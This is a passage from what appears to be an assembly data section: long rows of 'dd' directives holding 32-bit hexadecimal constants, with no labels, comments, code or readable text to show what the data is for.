21FD787Ch, 2F8A993h, 60F323C8h dd 0D80D6E25h, 0DAA79A36h, 59DD4029h, 0D2489F6Bh, 499372CDh dd 0AB2D4800h, 320E58CCh, 33044EFh, 0ECFC07DBh, 49EC330Ah dd 0C5F4A4C1h, 6F939106h, 45C4BB02h, 0BAD97FB7h, 0E7CB3960h dd 0B33528F4h, 84DB0644h, 78BCA65h, 0E4E2893h, 0D3578551h dd 59245BFh, 9828C5D6h, 0B9C435B7h, 0D4D19CCBh, 72620BFh dd 5126238Ch, 0E8E1196Bh, 649C847Dh, 51DC03CAh, 0D5DD42FCh dd 0D457EE2Ch, 0F7B654FBh, 0F33D4CD9h, 26157562h, 0FAE50F6Eh dd 4673D95Dh, 9C6DBB16h, 50E11E3h, 0B30C0FD7h, 5ADBB6BCh dd 0EBE6A091h, 0FDE44470h, 7FFA723Eh, 0F6652C98h, 430C19A5h dd 6BA020B8h, 463915C5h, 745B909Ch, 0DE1085FCh, 0F452FDDCh dd 35391A6Fh, 608386Ah, 0F09A8C17h, 981D6662h, 750D6E62h dd 86EA4E8Dh, 735F9320h, 0E31D25DAh, 40A3197Dh, 0A8CB4E33h dd 705B4058h, 5DEAFDCAh, 0B9D52CE4h, 94E00F51h, 0E96CC50Fh dd 6AAA4E61h, 49E7BA09h, 0FF0B051Dh, 57E612F0h, 5C83BD03h dd 9137F0C8h, 0B1316Fh, 7C15EC2Bh, 44FA7B43h, 364B826Ch dd 5F0D7072h, 4C27B00Ah, 0F8F8357h, 0A33546A5h, 764AA517h dd 5F2BBA8Dh, 0AC781AAAh, 95B52CD2h, 0CBBD2E53h, 49EE5B17h dd 0D1582828h, 43C16643h, 3D0461E1h, 0D42CDD56h, 25C4C52Ah dd 5DFF3137h, 960F128h, 0D451DF59h, 46D1163h, 0B13F55AEh dd 784DFDD4h, 100F4089h, 0BE1717DAh, 0BE136BECh, 1BFE31FFh dd 64F99C23h, 37F69796h, 0B745C336h, 69EB80E6h, 9AAC4D99h dd 1B0B96E4h, 0B826F77Fh, 4AD02754h, 0A704E5ECh, 1D62227Bh dd 10ED68E6h, 643A8BBDh, 58636B16h, 0E60B527Bh, 50F176E4h dd 65A9237Bh, 7B010F6Ah, 0C61D8DCCh, 0BA714AE1h, 1D6BD932h dd 805991EAh, 0BE70C4F2h, 3D4CE49Bh, 0AED4D77Bh, 707EBCB7h dd 0BCA9D831h, 771323DEh, 9290A20Dh, 0BB0E96D9h, 11A799A6h dd 0CD293723h, 11077364h, 4A9EDB04h, 64064F0Bh, 157D5BCFh dd 0C3806B73h, 9D451706h, 2E5868AAh, 3631114Eh, 0AFA10C37h dd 4D2852DEh, 0FCFF023h, 0E6A7A0A9h, 0F67D4E94h, 846E058Dh dd 860B7738h, 0A63AE3FEh, 96C7C352h, 0A381803Fh, 0D7A791C6h dd 0F64447FAh, 33BE57E4h, 0E22A6EB0h, 0A88FA1F3h, 0AF4B2742h dd 31E98C55h, 5045FCB6h, 68155B04h, 5E3CD166h, 4E28ABCh dd 0DE415885h, 570B0C7Bh, 789160E5h, 0DD012A6Ch, 13A9B155h dd 0AC080CFEh, 0F1C0CE2Eh, 43AC7B3h, 0A764A318h, 1AAD4EE0h dd 166FAA53h, 5FBB50E5h, 0C413BC03h, 9350677Ah, 0FD2166D4h dd 592A1131h, 97EE07E1h, 8F4748EAh, 909836F5h, 7A2BFDF2h dd 7477F0F3h, 580D0C3h, 0F5F9EDE5h, 40631565h, 835B1EA6h dd 0F59186CCh, 35B75F34h, 7C584EDEh, 80373BC9h, 0A3DAADCBh dd 0A18BD136h, 9A42A09Dh, 548EE05Ah, 27240DE8h, 1EAC9A43h dd 38C406DFh, 7FEA1A96h, 0B5DBBB73h, 397D583Fh, 494DB7E2h dd 529AD080h, 63A9E712h, 843695EFh, 0C2F287DEh, 8C69A95Bh dd 3E009E9Eh, 0BABAA46Bh, 0BB82EDEEh, 0CC8F4E7Eh, 52FBD5E4h dd 5A388500h, 0C4A65A6Fh, 0FE844BEh, 0DD81B8D3h, 7549A87Bh dd 4E26F7D1h, 5F9CDA34h, 0A6C38FD8h, 0B25B01A9h, 8253B449h dd 0C4A5B069h, 3A155B14h, 0DF7E9987h, 0F3B0D20Eh, 0AA1A7305h dd 7B10AA25h, 5E0DD3AAh, 8EFEB13Dh, 94633065h, 1D693345h dd 810A8EE4h, 3B9069A4h, 24A7EC9Dh, 22FC85A8h, 3B9A93FBh dd 7953ACCDh, 4D156494h, 62CC158Dh, 0F7A5F98Bh, 54BB0ABh dd 25688B62h, 0A7B6D444h, 0FBA1BB0Dh, 0D945303Eh, 7D60B2FDh dd 4913B0C1h, 7B3707A4h, 0D4E2D024h, 6C0DDAA7h, 5283C98h dd 0AE23AA17h, 316E38ACh, 782341E5h, 39851C56h, 3882275Dh dd 0EEC04112h, 5AF17DDAh, 60D69D29h, 6CBD7699h, 0FFC406F3h dd 9096572Dh, 20965B19h, 0FDC780F7h, 0DF21A2E2h, 183EF6D5h dd 34903B0Bh, 8FAC6E7Eh, 86A6045Fh, 0DF6848ECh, 0C9E81FDFh dd 0EE4B3A0Eh, 59DEA19Ch, 63B7D8FFh, 467B428h, 0A8328652h dd 76E61BD1h, 0D392033Ah, 62363516h, 0BF31E8B5h, 775A3BA2h dd 0C77BF358h, 0FB2DD567h, 6E2B630Eh, 10829FCh, 52AE28E1h dd 0EB416E28h, 8AB3E4FCh, 10F98860h, 1C256B8Ah, 439D5EF1h dd 0AD553BC6h, 0AF99ECD2h, 0ECA0492Ch, 30F218h, 5213826h dd 1DA3CCBAh, 4367EC1Ch, 12CCFFE7h, 593A6C80h, 610BAC13h dd 0BB7960FCh, 3C478FBFh, 76AB2641h, 13AC92A7h, 0C00A0AB0h dd 749B138h, 0F5F16575h, 887BFB60h, 58B92B62h, 0CFC2874Ch dd 0B17ED857h, 6B293FBDh, 0F1155630h, 1BF6B40Bh, 346B0676h dd 551FA473h, 0A5EC699h, 6DA9F94Fh, 770EAE27h, 0A087330Bh dd 57F3E7CFh, 0B1AA653Ah, 80C27B69h, 0AD472A9Ah, 0AD19D2D4h dd 0CFC7596Fh, 0DAF223A0h, 0B87A9AADh, 8F290A4Eh, 35846A35h dd 9BE67C11h, 6F5B047Fh, 9EF608E2h, 0FBE7829Bh, 0B51D0042h dd 6FA2357h, 0C4F915FCh, 64C2DE26h, 0A651E7C6h, 0A36C862Eh dd 91AF43Ah, 7EEB24DFh, 32DB37B5h, 2B045521h, 3B225D3Fh dd 0A603011Ch, 0FD002CB2h, 0CF0A5F2Dh, 0D80D8B7Ah, 271358E5h dd 0ED4D8D07h, 0F3A7F60Fh, 5F427AB3h, 0B71C572Ch, 8D569D38h dd 0C595F498h, 0B17C2E6Fh, 0ABFE7D40h, 92C7EDAAh, 67A6BDF4h dd 136A74F7h, 2A0FDD02h, 6D87B7B3h, 6288A4FAh, 0B54F6AD6h dd 0ABC70358h, 0CDDE8BD2h, 6E079BA7h, 0CB94C581h, 0EA5D8436h dd 581E6E47h, 0EC79C36Fh, 4921232Fh, 9B80B2A3h, 39002FE9h dd 0E068D50Ch, 71986BBAh, 8869D918h, 0F61A4657h, 35BE17D7h dd 5B5EC523h, 6D9FF5D5h, 0BC8840D9h, 9E12A9E4h, 973E762Ah dd 97BB0DDBh, 0F2DE296h, 0B10A51C6h, 0D1828A62h, 0C3CF819Eh dd 917D4B2Dh, 7803E37Eh, 615A08D8h, 0D6887D44h, 3E2D5B01h dd 77039F58h, 0FCFB8634h, 0BD6E94B6h, 0A99283CFh, 7C668C8h dd 0F10ED90Eh, 9ADFF00Ah, 0A11C5CD5h, 8A0C995Fh, 67FF18B4h dd 5CB84A53h, 0B9C7843Eh, 43B64096h, 2957229Ah, 0E8EDBA0Ch dd 9B797F1Eh, 0F3726C69h, 5830100Eh, 0EE992819h, 0D73C0DD7h dd 826D7E41h, 154A32A9h, 95FE768Fh, 0EE18D002h, 26FEED08h dd 302D4BF8h, 902FCED9h, 45C4DA28h, 787372F5h, 93ED847Eh dd 73214E1Fh, 87DCF7D0h, 0B4A02DFCh, 0E4C015EAh, 0DF00D638h dd 46213C4Dh, 1358E07Fh, 76907E3h, 477B3C5Bh, 2CEAF40Dh dd 334350F0h, 0E33FA2EDh, 89817E0Ah, 4AA543E9h, 5C61C6BDh dd 0F082FBEEh, 10510DBh, 0BE82ABD4h, 2DB61BD3h, 0B2C9DF16h dd 0A3066336h, 0B9F7DA81h, 5A51A355h, 1592BFF0h, 71AF7D71h dd 472FDF88h, 144B2029h, 9C001B8h, 0CDCF839Ch, 5F7F6C3Ch dd 0B1485183h, 34D09008h dd 8F7B7E4Bh, 651DDDA0h, 36907345h, 2BBFC937h, 556A1F8Dh dd 0A61BC7AFh, 0BA30EDDAh, 0CD68466Ch, 3EA08FE0h, 1A41C72Fh dd 0F244BB2Fh, 0A5EE7534h, 3B32ABD7h, 0CADCF732h, 2CDA5929h dd 0BE1BF9BBh, 0EF8DA289h, 4937D92h, 0A79266Ch, 500223C9h dd 66B6DDFDh, 92A41C82h, 84E80849h, 1E4627EEh, 0F70AAD2Eh dd 114F691Ah, 0B57C1CFEh, 0A171467Fh, 66F4B8FEh, 0C2C93629h dd 0F9BC52E1h, 0B3AFA423h, 701405Fh, 7507651Dh, 2BFD2FD8h dd 385BB9ABh, 22514939h, 0E637BD6Fh, 124310B7h, 4EC826F3h dd 0E3EA1496h, 31A56617h, 2C4F5842h, 1655AFEDh, 0A9818F22h dd 60F657E1h, 0FFE35A71h, 1459E22Ch, 0B35BD46h, 0CCBB02D6h dd 65C040A7h, 61F44469h, 0AA40B0BDh, 898D37ADh, 0E39C23D4h dd 67473F7Fh, 5E499DF9h, 0E234CBB8h, 0B93BE96Ah, 82863BACh dd 164DA047h, 1D3E4E6Fh, 72F4A92Bh, 912C7288h, 87F3A8C5h dd 6D15180Fh, 0E541BF57h, 9BBCBC7h, 0AFFF01B7h, 631F38C0h dd 6938A1DCh, 983E4539h, 7E3FA82h, 50873495h, 0CAA0CACCh dd 0A97C547Fh, 0FBB6F05Ah, 8D44D17Dh, 30969626h, 9DF7CE39h dd 0AAD0AC9h, 0F9A3654Ah, 33EA4096h, 5A12F346h, 6DFB5B2Bh dd 86524E82h, 0A8F2464Bh, 95E7FCCFh, 96A1B5CFh, 406230E7h dd 2D8F99FEh, 0A96E7A31h, 9D6E3146h, 8045E8EBh, 0EFBE90A0h dd 777F8851h, 5AAF9074h, 0A0EF7513h, 0AEA1EA55h, 30C3FF50h dd 0E0225A68h, 9CE35AEFh, 701E5EC5h, 5B35C965h, 69974D3h dd 0CBAADAA4h, 6D408807h, 6BEB02F1h, 0FB596AC5h, 6CD16A6Fh dd 7BE99635h, 519EA5A6h, 3CCA2A5Bh, 0C4AB02F6h, 7A68BCB1h dd 6BF1E099h, 556B721h, 0BE390794h, 43CB037Bh, 394B7871h dd 0B171FEC7h, 34E646EDh, 0F3478EC7h, 0F1E4C9DDh, 0BC4AEEF7h dd 0A4FE345Eh, 3068902Eh, 7DFE2708h, 0E9B678C9h, 668CE1Ch dd 776E50BEh, 77B068B1h, 52640163h, 0F71184B6h, 0B2B5FBACh dd 1BE74939h, 2908D625h, 0F2F15870h, 4387DBEEh, 75665C9Dh dd 72BFB62Dh, 0B148800Dh, 0C6D05AA9h, 0DD186A2Ah, 98D289C7h dd 0CDFDA1E9h, 42656CE6h, 440E29ADh, 37FD5051h, 572B9A0Bh dd 0F233F687h, 178D62A7h, 3DFDFD1Eh, 822E7FBAh, 4D5C4964h dd 0D31DED74h, 0AF0148Eh, 0B5532C4Dh, 0E373AD97h, 720E1453h dd 2AEF2BDFh, 0F926C6B2h, 0D3ED3750h, 0B0C23A99h, 82037502h dd 0E3250943h, 4B8DDA46h, 40581EDDh, 0B5045712h, 0D5B427B3h dd 18C95C52h, 3CC20766h, 0CFF84CC1h, 0EDF15491h, 98EC2F60h dd 0A75ED99Eh, 0D08249A8h, 0C74F6405h, 4D4BCF70h, 15B28A02h dd 0A444A4F7h, 221E2C1Ch, 2C4A20D4h, 0F79E89FBh, 0C9F8C193h dd 3CC5C8ADh, 0B2B2857Ah, 8C9F5E95h, 3FC08C65h, 0C0004834h dd 0E89EC83h, 9F7FB1A9h, 9C08E045h, 0F3CE0DC4h, 0C1664BAEh dd 0E5A0F72Fh, 0BEE25416h, 0C8C9664Dh, 0A1FD0073h, 580626B6h dd 4F123C36h, 0B0711864h, 0D66A6681h, 999EE6C2h, 7C5786A6h dd 2F3D36B8h, 7DD3A28Fh, 2023B458h, 83654213h, 0A5BE1C76h dd 4E3568EEh, 4E063FDDh, 0B77F4DC4h, 5DEB9856h, 3128FD97h dd 0B9A07227h, 0AC73FA5Dh, 25BB50C7h, 0CB7C02E6h, 0A3F4C948h dd 0FA7F5542h, 0CB53EB0Dh, 6492E734h, 614587E8h, 0BC55F037h dd 0ADE12E25h, 0F2CFD7Fh, 0A259FF08h, 62A5D945h, 0B62E9BA9h dd 1E86D3B2h, 4B93D01Eh, 0C650E55Fh, 6C8D2C5Fh, 1983DB4Ah dd 0B52BFD5Ah, 268F8973h, 6B851551h, 42D96ABFh, 35202EFh dd 35F53959h, 0A43CD908h, 0E910779Ch, 37CEB78Dh, 0D4B28B8Bh dd 0F9B6AA7h, 1646C2A4h, 77809D85h, 0A511B837h, 5545138Dh dd 8EC0B8Fh, 45F6A2DDh, 0C41427E0h, 375B3E87h, 0B0E75700h dd 0B4376D19h, 847CD790h, 32871A7h, 8266F304h, 6919A5Ah dd 0AB57999Ah, 5FD6DB34h, 0CE14E5BEh, 7355EDFBh, 0B2B5AED9h dd 8E089DCBh, 0E9B66C6h, 0C2CE77CFh, 0FFB1EB74h, 4622FD92h dd 0E6D756EAh, 41F62A9Ch, 0E886EEADh, 8ED36053h, 99EE3FABh dd 231E7E5Eh, 0B8FD54E3h, 292B1006h, 3DAC41B0h, 2C38F664h dd 0AECA18EFh, 0EE80A052h, 0CBA43935h, 65C0F533h, 13711BE7h dd 85CA6C5Fh, 0A4B61C8Eh, 32C9AD72h, 8A9E5D59h, 8C7FD6F3h dd 0D0D5749Ah, 0F0079DC4h, 0BDC8219h, 8A02D763h, 750146CBh dd 540940A7h, 0CDF04517h, 81E74F5Eh, 0CB4DDB1Dh, 0AC95A945h dd 0B26115B6h, 7F78C545h, 0BCF5C12Eh, 0F0DD4463h, 0DA3D2DA5h dd 0E024E1DEh, 0D6AAB0BFh, 2C61D589h, 0D540E1F4h, 6AECAAD9h dd 0A7C0C0D8h, 7F14967Bh, 0C0131290h, 3D9F8BB5h, 537B95E0h dd 5839778h, 4957B4F1h, 1668C06Ch, 50090755h, 9A1E96B1h dd 0B9A438CCh, 66CCED1Fh, 0DFEFC349h, 646E541Fh, 34A56C91h dd 0FBF546D3h, 0C9852CF0h, 0E24F1F35h, 0E5EA6F8Fh, 5A6804C4h dd 0A7E16B32h, 0E334924Ah, 0F9F771F5h, 0C44BFE49h, 0E216BC89h dd 78B98775h, 736EE595h, 4329054Bh, 0BD9D6BEFh, 0DE15255Ch dd 89F2DFD2h, 25AA4C41h, 0B5BB3E4Eh, 0C5E9593Ch, 26255EB5h dd 0ACBD90D8h, 0CBA43D27h, 204D9EA3h, 0E1E796D0h, 1BC32894h dd 96A65931h, 5FC86790h, 0D245033Ch, 2B6C710Dh, 5E2FF97Eh dd 0C5891AC6h, 6BACBCBh, 8DF59510h, 9C484E0Eh, 0CAEF4AE2h dd 489861A5h, 0D1A2C6Ah, 1C7923E2h, 92033D5Ah, 0DE8090D8h dd 0AFE9C5D6h, 6D2F87CBh, 0C87AC012h, 0D1DD2C3Ch, 0D6E20073h dd 229F89D3h, 34BEEF4h, 26D10DF7h, 3E98BDD9h, 1DDB98A8h dd 8BBF12BEh, 5501C099h, 0B1454F16h, 7EEBC6D8h, 6A30BB9Fh dd 0B9903C74h, 703CCA32h, 3C48DCC5h, 0F0312DD7h, 8EAC8A0Eh dd 7AF6CE18h, 0B3EA3F87h, 30EA23E3h, 0AAECF496h, 0B8E10920h dd 9ABD102Ch, 849EDB7Bh, 3BA2B6Fh, 499414F0h, 0E6B51770h dd 6FB879BAh, 83726EEh, 0B492F758h, 0A22C9FE3h, 0AA68A00h dd 0AAD58A9Eh, 79D139D0h, 0EEA9210h, 0F8EDBD8Dh, 707A2197h dd 0A320EE06h, 0D46CF702h, 0D5F2ED3Fh, 50E232F7h, 68EC8FD9h dd 486EB8CDh, 792EFE5Dh, 169758CFh, 43CF7139h, 0D2A7DC8Ah dd 0B2CC7DDFh, 2A9EE7EDh, 0C6AF1694h, 0BBE468ECh, 9FB18393h dd 39AAB093h, 852576E8h, 6149C5C8h, 0C45BAECBh, 7C0C6EA3h dd 94DF920h, 55BF791Eh, 9642DC24h, 1BF3D8AEh, 0D1E75DCAh dd 0E1FFA2AFh, 43FF6232h, 0B30649DAh, 32990656h, 0E6374871h dd 9BB2E08Eh, 0DA46194Ch, 0BB7E3EACh, 51B9CB02h, 7916363Bh dd 7A70B150h, 567E5136h, 8108918Dh, 1032D93Dh, 4D913926h dd 2091953Dh, 73F269EFh, 1EF24A80h, 580AB034h, 0DF7DAD77h dd 69B495BEh, 125E2920h, 0AD67E795h, 2EB9E2BAh, 1FFDECD7h dd 4709FEB6h, 640C3D4Ch, 0A063DB63h, 71350729h, 0A3EA6D8Dh dd 0BEF43503h, 0D355F947h, 0CB1CAD63h, 0DC45CA74h, 0BFB90F72h dd 0F6C06C52h, 0B8069B65h, 48114015h, 7B02AAEEh, 4586F006h dd 0E1A1AFC4h, 0A974EB5Bh, 0DA3A89F5h, 212DC40Fh, 0BBBDCA9Dh dd 5457E747h, 100690AAh, 349BB75Bh, 273AC4F2h, 87371DD7h dd 6F1527CDh, 0C59C2D5Eh, 3C5864E5h, 84A6C770h, 0EF55B032h dd 663A102h, 21BEB8B7h, 1F15869h, 6C3CCCB2h, 909BB384h dd 8D1025FDh, 4FDE1070h, 1840D5E3h, 0A757365Eh, 40E54956h dd 7005C0F4h, 5F9949B0h, 2F274270h, 213D4711h, 0DAA864ADh dd 0C8421D00h, 64122EDCh, 99C5CD58h, 868EB5F9h, 7A57A18Fh dd 0DFCE23B9h, 81081E42h, 0D7DCC468h, 0C88E4C8Fh, 14BEC3AFh dd 5115FC2h, 287A610Ch dd 44276DC5h, 8504C566h, 34AC096Eh, 0C4E165EFh, 6A98196Ch dd 69145B75h, 0D3DE414h, 88291B7Fh, 962EE54Ch, 0A28513D8h dd 0AB306F20h, 0FE76AB76h, 0CB3E3F2Fh, 0AB837BA9h, 235760ECh dd 716F412Dh, 0A70154EDh, 93CF9CDFh, 0A20D0D9Ah, 0C4E99B3Dh dd 2D80A7CEh, 0C3AC5F58h, 6F2D441Ah, 23E928EFh, 0A7028CD5h dd 0A9995113h, 0CBB4298Bh, 4BCA3D3Eh, 37ADFCF0h, 0B184AE39h dd 31A3D689h, 0A2C8AA13h, 4FE31BD8h, 0AEEC67BCh, 9C2A5C68h dd 0C92D76CFh, 0F42196E9h, 0F0256E79h, 1CFAC4A7h, 0EAFB8898h dd 960145DBh, 0EFD958F0h, 78F958EFh, 4E11D2B9h, 0C100ED28h dd 7C11AA2Fh, 0BC64ACC0h, 7DB52C00h, 0F4829DD9h, 43862873h dd 686A5407h, 706E6E51h, 51102563h, 61F5EE03h, 9E9FA053h dd 0BE67FEBCh, 7A565014h, 7E141D02h, 2DE754C9h, 0C78AB1B4h dd 41D7AD72h, 1FB6CC6Fh, 239D2948h, 105F384Fh, 0B427721Dh dd 0E52BC456h, 4CEFCF7Eh, 0D9617AA2h, 97A78DEEh, 0D55F84ACh dd 5869676Bh, 7A4B1C7Bh, 0AC3852EFh, 4F73EB2Ch, 3EB6A47h dd 0AF4C117Ah, 864DAF83h, 0A1738A4Ch, 1B53A957h, 0C3EDDA78h dd 50AE2591h, 6D441046h, 0C16F8875h, 6B387C12h, 8D88DAFFh dd 53397BF9h, 0D7A9C73Ah, 0F8BDF34h, 5B7D31C2h, 0D568269Dh dd 0CB4911E8h, 289142A3h, 0D306790Dh, 0A9FE595h, 0F03C5CF6h dd 53CEA7CEh, 3B594FE9h, 3694EEC4h, 693EA411h, 5281833Ch dd 0F0558AE1h, 87A495F3h, 9C9AB87Dh, 0B1E0387Eh, 6709D521h dd 78AE379Ch, 0F98B46Bh, 122F6522h, 3FFC9813h, 511DC5D1h dd 4D264935h, 5A7F2AF4h, 0FE2CA338h, 0AADF5489h, 0F1174FF2h dd 6B9AAF7Fh, 51249009h, 7BEB2C01h, 1F2FB433h, 7C8E5E21h dd 8D3BD6BBh, 3535ABEAh, 8FE4443Eh, 0FFA2D2B8h, 48D71A83h dd 0E37E4B6Eh, 0F356135Bh, 0E8EBF514h, 3CBFFF96h, 0EEB44457h dd 0C37F5F36h, 6FE68653h, 4D987017h, 22DD07D3h, 0DEBDCB16h dd 0D15A4C27h, 0D72E2A99h, 0E27760DBh, 0E44ACFEFh, 0B8ADB632h dd 0E4CCC2B7h, 0A23FE85h, 4D57F647h, 246FEA77h, 0BFC58EE5h dd 35549B03h, 0C3416F98h, 4EC5DF91h, 0E29BD385h, 7F200BFAh dd 0C362D8AFh, 0E34DED1Bh, 2C4C1AD1h, 2FE2138Dh, 20F54A65h dd 0A8B65AC7h, 0D8ED6ED6h, 0B7E48B9Eh, 0E23EA760h, 7365701h dd 0F8002C15h, 3C5F9839h, 0EBD56421h, 4A6414Bh, 0BE11C64Bh dd 7372C5ECh, 787EB9EDh, 85586C6Eh, 3100447Ah, 8A29478Fh dd 0A205003Bh, 93CCC368h, 33DF103Ch, 3A5145D1h, 5D54D5BEh dd 0BDF83FB4h, 4C4353Ch, 3FE51B01h, 0B212CCFAh, 4BC6A2DFh dd 5BE68E04h, 0A4632739h, 57D1B4FCh, 6DFFB6C1h, 84A9F845h dd 0BC111C8Dh, 81073FB1h, 31F5AA1h, 0BE0D9B56h, 9EFD1276h dd 0FD78EC88h, 8772310h, 605F7AE5h, 30DBC4D9h, 2CECA5B1h dd 21D78A3h, 9D216B99h, 0EC8BA17Ch, 0DBEDEC96h, 0B987D82Ah dd 0C11A6E6Fh, 615BA85Eh, 43A8EF24h, 0B0DFCEFDh, 846F6E7Eh dd 6A1A9551h, 0C31E78EAh, 0A1B4C171h, 0BFE2FD66h, 6140D8DEh dd 32471435h, 602A1CAAh, 72F18054h, 2F17878Bh, 0B7B73EC7h dd 7BCA94E0h, 53D5E6F1h, 0EA120242h, 0DE4A9398h, 0BB4926DBh dd 0C7A88631h, 481C9F88h, 5574B8A7h, 0AD446DCAh, 3F15C4C1h dd 24BFDBA9h, 3CD56456h, 2B3388B5h, 0BB557BF3h, 0A36016F2h dd 0F4C0843Ch, 354F5711h, 383C41C4h, 127FA379h, 0A0933F10h dd 7E964DA8h, 0DEB4EF28h, 65C9D5C3h, 0F85DD53Fh, 27377EE9h dd 4815809h, 3B13F48Ch, 0B4E6C9FAh, 831DB200h, 8F6A7500h dd 0E1035552h, 1502FB83h, 7009DB80h, 7AA2AB71h, 0CBDA5F72h dd 7EC7BA02h, 75CDB1h, 452C58F8h, 9BFD40DCh, 330898B8h dd 0E70E6EEEh, 73CDF9B6h, 0F6615D04h, 7DDB8F03h, 0B3E25498h dd 400FC8B1h, 601E5E2Eh, 0E3C23F14h, 0BA7F9028h, 22DE2CE6h dd 0FB706013h, 70AF1761h, 4AA52C42h, 4EB4A6F7h, 0BCEA7E4Eh dd 0BA6389C6h, 55B7D5BCh, 4EFC32E7h, 95261F51h, 0C09E3DEEh dd 76AFDF5Ah, 46D2696Bh, 0A63D678Dh, 793CB44Bh, 0A88C9798h dd 86611F95h, 0D20F3ED1h, 0BEB59A95h, 0C348BCA7h, 36DED57h dd 0B6C574BBh, 64325766h, 0FA4AABFBh, 80B2F7Ch, 0AC60FF01h dd 93D56557h, 965D04E7h, 5455BB8Fh, 0F7AD857Ch, 0BF54CC48h dd 0CD1BB867h, 57F71A4Ch, 9B4B85h, 28545B76h, 0D0611DEDh dd 0C886F9A5h, 64E7E95Ch, 0C1D151BCh, 5B622ABDh, 716620A1h dd 1A6CBC94h, 0C5458FF6h, 98404491h, 53F9D8F9h, 931E359Dh dd 7DD68829h, 0F2B480FAh, 0EA293CCh, 353D94E9h, 501B15C6h dd 0D1AEB0F5h, 480F0830h, 178A2012h, 87CB644Ah, 116B41F5h dd 0D86BE45Dh, 87C22396h, 27E1BD52h, 36FA862Ch, 0DC6094C0h dd 878A7A6Ch, 4A4CA269h, 0C794EBF9h, 16FA7EADh, 80CBA85Eh dd 54E0EF24h, 0ACDC77FFh, 3754E593h, 0BBFBA3C5h, 43692E16h dd 3D670A58h, 51805FA9h, 861CF3ACh, 67E03863h, 0B0BEF5DFh dd 370B6FD2h, 2A802DFAh, 2CB6D25Bh, 2AFA69AFh, 4351B59Eh dd 2A7336E5h, 0CB5925Dh, 0AB493AA6h, 0E40B7235h, 0CB415E0Eh dd 99344017h, 0DDBEEEE0h, 0D6B581CEh, 115F9720h, 0B7D5249Bh dd 0FE4062EFh, 0A505A156h, 415B47F6h, 0C284CEEEh, 4785686Ah dd 0C4A68D33h, 0B39EA7C4h, 0AECDD27Eh, 0F98E117h, 2AED4238h dd 63C4D5D1h, 0D6DDED57h, 0C866910Fh, 41CAE9B7h, 0AED82F78h dd 620918F5h, 0A81C8F4Dh, 0D544888Dh, 643B96BFh, 1F42822Dh dd 4B5CD03h, 65E314B6h, 877DABD2h, 0D573D5A7h, 16126ABh dd 0AD92EE2Ch, 23B94FA1h, 300DED89h, 83EEE13h, 0D8C73C8Dh dd 5DDB2B49h, 0BB28C72Ch, 57E2A225h, 9BEAB1ECh, 0B6950ECEh dd 0E6E86745h, 35BACB7Dh, 99B5A81Eh, 1618D050h, 0FA9AFB5Fh dd 0B4259248h, 57197074h, 347C8233h, 0B363E29Fh, 0CA24150Eh dd 0FF8CCFE5h, 9EFD2C00h, 8EF8209Ah, 0F4D655Eh, 7274F897h dd 2F3B9EC1h, 0B1BAAB47h, 6EF45AA1h, 241F285Eh, 0C2C71377h dd 344B9AAAh, 4B0C45A6h, 9A363A54h, 0C68632AEh, 71B77D19h dd 1E4A4906h, 3843984Fh, 4941BC5h, 0FE126D92h, 77B270FBh dd 8952A67Fh, 56CC59BEh, 0F70A57CEh, 0D395216Fh, 22453816h dd 6651AE6Ah, 73BC2C0Ah, 0A16AD2A5h, 4497896Bh, 0B2FB58A5h dd 0AA17D8C8h, 9DA9EB23h, 0DC6062B1h, 0C7908FC9h, 0A0FA1CFAh dd 0E9CC0841h, 0C1CA0ECFh, 0EF8C16D9h, 0C742089Dh, 0F057023Fh dd 0D1D0A715h, 0B2785A09h, 857705EEh, 25062018h, 0CADEE05Dh dd 0E0F5CB8Dh, 0E973F83Fh, 18FE00ECh, 19A46C6Eh, 271578Ah dd 266C0B0Fh, 0DC385729h, 88EE29B5h, 26DBD4F0h, 1329B965h dd 98876E61h, 0CD531BCEh, 5F9F1C86h, 418CEF70h, 0E0AFD7F1h dd 0F5DCF378h, 87770208h, 2BB129B2h, 9C639FFFh, 9EAB33B8h dd 34EFE3ACh, 0EA9B8D32h, 0B20AA447h, 49FC25C2h, 0EAF95604h dd 0DCEC6F4Fh, 0A03FFF2Fh, 0E2EEA8DBh, 0EB545AFAh, 9BE27DB6h dd 0E3A39BA8h, 989599F4h, 0CACDE40Eh, 8FB348ECh, 9A8C047Fh dd 0F411E448h, 0BCD5F4A5h, 4414AB9Eh, 2209D9A0h, 5FC0A27Ah dd 0F82D94D9h, 8E14CE99h, 87CCEDDFh, 0E4CD0014h, 46255B58h dd 7291AD3Bh, 7894F86Eh, 5512F0A5h, 0A89469AFh, 0C8B847EBh dd 6EE901FAh, 15D51A69h, 8B1B957Bh, 0E1A09BF2h, 0DA4C8602h dd 8C9F9019h, 66FB9C05h, 1F66D5D3h, 0F2BBDC3Fh, 0C9D45F35h dd 2616B75h, 0D98AD123h, 835062Ch, 0CAD2935Bh, 1CAC5BDCh dd 35085DAAh, 0BB714ED0h dd 432F8121h, 11DBAFF5h, 8925137h, 0D0C4D5A9h, 2B01F171h dd 0F6166706h, 5CB6F78Bh, 45529877h, 5AAA7D71h, 4334F4C0h dd 15B16453h, 90101B33h, 0BA1CF237h, 0B3A9F57Dh, 0F76B7ADAh dd 0F5162174h, 1F356247h, 6AE97F4Fh, 0E5D7F7EEh, 0B48AF3DCh dd 1F48EBC3h, 7EAD9C8Dh, 0C33595AFh, 272FF99Bh, 246FD965h dd 7AB9EF42h, 40A79769h, 0FBC08EB2h, 0F3A6323h, 0C05C4DC9h dd 27D10921h, 5926B3EFh, 7503DB2h, 4CB40806h, 14DA497Ah dd 91DAB317h, 58AFC9B3h, 0ECAF88EAh, 0A6516C34h, 0A408F86Fh dd 0D8E059B5h, 7D7422EAh, 0CB11AFC8h, 6A917C2Fh, 0CEFA9D6Ch dd 452ADC89h, 4F2FD87Eh, 0F22D05AFh, 11363F59h, 77EF0E8Ch dd 0B171D73Ah, 0FE426800h, 1C97D86Ch, 0EF225250h, 977F089Dh dd 0F3B05466h, 0E56F3B55h, 0FF06F489h, 0B2E9D3D7h, 837874A7h dd 3CD92DAAh, 0E82B32D3h, 7620717Ch, 0F37B3090h, 0B46B0A82h dd 0E608A199h, 4965C0ADh, 2D859D94h, 9620C5BCh, 0FFCBD48Ah dd 9851AE5Bh, 174A1B9Ah, 8B6A667Fh, 0AF5CF88Ch, 0E1F0FF06h dd 965F56FBh, 0FEF4F379h, 0E9FF06CEh, 8EBEA929h, 207C8B3h dd 0F99CDA6Eh, 605CEC50h, 0BC862935h, 3486D96Bh, 459E9AABh dd 2A16BA3Ah, 35954CFBh, 0B15F7FE3h, 4473BC22h, 96C7F465h dd 0DBBE1EEBh, 0FBF64778h, 